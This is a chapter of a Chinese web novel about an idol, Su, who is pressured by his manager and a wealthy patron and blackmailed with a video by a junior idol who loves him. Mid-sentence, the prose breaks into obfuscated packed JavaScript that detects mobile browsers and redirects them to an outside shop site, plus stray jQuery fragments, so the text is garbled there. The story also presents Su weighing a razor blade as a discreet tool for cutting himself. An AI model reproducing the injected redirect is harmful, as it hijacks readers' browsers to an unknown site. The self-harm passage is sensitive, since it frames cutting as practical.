“你的手怎么了?”
经纪人问道。
苏低头看着贴在手腕上的创口贴,皮肉下的血管清晰可见。他听出经纪人的潜在含义,微微一笑,“不小心碰到了,我下次会注意的。”
偶像应当是一件完美的商品,一旦出现损坏经纪人就要估量他的品相是九成新还是八成新。
苏在心底叹了声气,忽然想用来刮胡须的刀片是一个不错的选择。首先它轻便携带,其次划出来的伤口微小而不惹人注意,比玻璃碎片有分寸得多。
他注意到玻璃门外有一个年轻的男人正眼也不眨的盯着他,这让苏稍微有了那么丁点探究的兴致。经纪人敏锐地发觉他目光的变化,让苏先把手头上的剧本大致看一下,随后起身出去和那个男人交谈。
想要在娱乐圈待得长久,转型是不可避免的。苏上回那番话阴差阳错的把这档子事提上了日程,经纪人在廖先生的赞助下为苏挑选了一个符合0经验演艺新手出道的剧本。
导演Lin颇有名气,他之前陆续拍过几部卖座的电影,家世不低,因此能和资本某些离谱要求抗衡一二。不过到底拗不过廖先生,据说这两人私底下的关系颇具渊源,导演也是看在这份上勉强松口,答应给苏安排一个有点高光的配角。
了解到这里,苏对经纪人口中符合0经验演艺新手的剧本说辞保持怀疑。高光配角必得搭配高光演技吧,这东西他有没有还另说。再其次,导演显然很不待见他,今天明明是商议下来签合同的日子,经纪人这两天都在为这个奔波,结果临了签约导演本人都没到现场,就派了个助手过来。
想也知道进组以后对方要怎么磋磨他了,松口答应是一回事,让苏知难而退是另一回事。
娱乐圈的弯弯绕绕,苏还是知道些的。他拿起剧本按照经纪人的要求大致翻了翻,一个字都看不进去。他莫名觉得有些说不上来,似乎以廖先生为开端,之后的事态发展就一直处于由不得他的状态。
正如现在他意向不大,却还是被经纪人赶鸭子上架催着过来签合同。
下午的日程安排还颇为紧凑,好几个广告代言、访问、约拍……也不能怪经纪人火急火燎催促苏。照此情形发展下去,苏赚够违约金的日子指日可待。
当然,谁也不知道这位人气偶像内心的唯一愿景就是去某个乡下开一间小卖部。滑稽的是这普通的心愿和现阶段的大红大紫出离的违和。
玻璃门外的那个男人是谁,是粉丝么……看上去又不像。经纪人有意无意的遮挡住对方,隐约传来的交谈声预示着对话仍在继续,那个男人看着他的眼神太有目的性,难道又是一个自以为认识他的人吗?
苏不可避免的想到了半个小时前咖啡馆的奇遇,戴着黑色边框眼镜的大学生和他的吉他,现在是追逐着他的记者亦或狗仔。
难评。
终于,外面的人结束了对话。经纪人见苏盯着他,岔开话题道,“剧本看好了吗?觉得怎么样?”
苏道:“不怎么样。”
“这是一个好剧本,我回头会给你安排老师,你……”
苏打断他,“外面那个人是谁?”
不待经纪人回答,他又轻声说道:“也是排在廖先生后面的吗?”
“……”
有那么一会,连空气也停止了流动,静谧得能听见外面办公区域里翻动纸张的声响。有那么一瞬,经纪人以为苏不可控制了,他眼底的冷意溢了出来,很快又消失不见。
经纪人语气温和,“苏,我不清楚你在说什么。”
“林元泽说你私下找过他。”
经纪人依然用宽容的目光望着他,使得苏意识到刚才他做了一直以来都想要做的那件事——从心理层面上撕开了遮掩创口的薄痂。
他也终于明白裸露的伤口是无法愈合的,终其一生伤痕都在重蹈覆辙。
经纪人轻飘飘的略过苏的陈述,提醒他十分钟后开始工作。
十分钟后,苏在自己的休息室迎来了何言越。
不是,就算是同一家娱乐公司的也不代表对方能自由出入他的休息室吧。这又不是游戏里打怪,玩家想来就来想走就走,随时可一键切换场地。
苏:“你不觉得你有点太自由了吗?”
“抱歉,”对方道,“我想知道你的答案。”
距离那通录像带威胁过去了24小时,何言越发出的信息石沉大海,苏仍旧不回复他的简讯,这怎能不叫他心焦。他向苏允诺自己即使不做偶像也能保障他们两个人的生活,出于私心他希望苏能为他稍稍停留……他会努力做到最好。
听到后面,苏都有些怀疑这是在威胁还是在告白。尤其听何言越向他坦白自己签约公司当偶像都是为了接近他时,苏内心的荒谬感加剧,对方控诉他不艹粉导致自己只得另辟蹊径以后辈的身份接近。
啊这,这要是传出去也算个瓜了。
“苏。”见他不说话,何言越低喊了声。
苏终于有所动作,他抬手堪称温柔的拭去对方眼角哀求的泪光,说出一番足以叫人死心的话。
“把录像删了。”他道。
何言越记得,那天苏也是这样说的。他攥紧这个人的衣角可对方的身影还是从他的面前抽离,他试图从苏的脸上看出任何能够佐证他手中的把柄是有效的情绪,哪怕是一点惊慌也好。
可是什么都没有。苏的眼神毫无波澜的同他对视,这个人的眼神真冷,无情得像一簇冬日里的新雪,叫何言越发自内心的打起冷颤。
无望的情感在内心滋长,对话仍在继续。
“对你来说,娱乐圈这种地方随时可以抽离。你有爱你的家人,有让人艳羡的家族事业,你的人生有太多退路,除了方案A还有方案B、方案C。”
何言越怔怔的看着苏,刚才提到的这些都是为了证明自己有供养苏的能力,但是苏对他说:“不行。”
“对我来说,我的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201186|138478||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出路只有一条很狭窄的通道,我希望能够把掌握自由的权利攥在自己手里。我不会考虑让任何人去堵死那条通道,连我自己也不行。”
说到这地步,语言变得苍白无力起来,甚至附带虚弱。
何言越嘴唇微动,“可是…我会对你很好。”
“那是你的权利,”苏道,“但我没有配合的义务。”
“……”过了半晌,才听见一声困惑的呢喃,“为什么要说得那么复杂?苏,你只要答应就好了。”
答应留在他的身边,他会尽力迎合苏给予物质与身心的一切。他有那个信心和财力供养夜莺,论就起来一个小偶像需要的能是什么?资源和钱。
起初只是抱着玩一玩的心态,现在既然把自己玩进去了,也要苏奉陪到底。
一个自由的人企图把另一个看似自由的人变得不自由。
苏的命运被这荒谬的主旨贯穿,他厌恶碍于现实因素不得不被掣肘的感觉。他为此向经纪人妥协,以求维-稳当前拥有的东西。
他的公寓,他的生活,构筑与支撑他的一切。他套在固定的公式里每天周而复始的运转,意料之外的是咖啡馆的某个存在意外地唤醒了他内心残存的某些东西。
阴雨天永久的留存在他的心底,掀起的回忆附带潮湿的霉气。他本该习惯,却在同何言越对视的这一刻某根神经被蓦然刺痛,欲言又止的一切开闸。他对何言越说,“你太自我了。”
没有人能够狂妄到用威胁的方式来勒索情感,意图用此捆绑和束缚一个人的自由。在这时,苏想到了廖先生,钱色交易的截止日期还未进入尾声,他口中谈论自由,身心却由不得自己。
最后还要奉劝何言越一句,“把录像删了。”
他不过是随意翻了翻杂志多看了几眼,廖先生就不动声色整了个大的,把人搞得娱乐圈混不下去只能灰溜溜回家继承家业。要是录像传播到廖先生眼前,恐怕何姓新人不止退圈那么简单。
当然,第一个倒霉的只会是苏自己。
又一轮的谈判失败,姓何的面露失望不知自己差在哪里,又不想真的动用录像带这个大杀器,毕竟是自己私下留着舔屏用的。可威胁的手段来来回回也就是那几句空话,难道他真能忍心破坏苏的偶像之路,让他成为艳闻笑柄吗?
答案不得而知。一个人出于嫉妒的心是不可估量的,他决意先让苏尝尝苦头。
休息室的门虚掩着,苏的关注点都在进门的那个人身上,一时间没察觉到那道门缝究竟有多少可供发挥的余地。
何姓新人在他下逐客令前,忽然俯身吻他。
苏:“!”
他后退一步侧身避开,暗处的相机默不作声拍下错位前的亲密接触。
苏神色骤然变冷,何言越眼神迷恋的望着他,见此情形苦笑离开。
距离苏正式开始工作还有二十分钟。
二十分钟后,等待青年的除了工作还有舆论的发酵。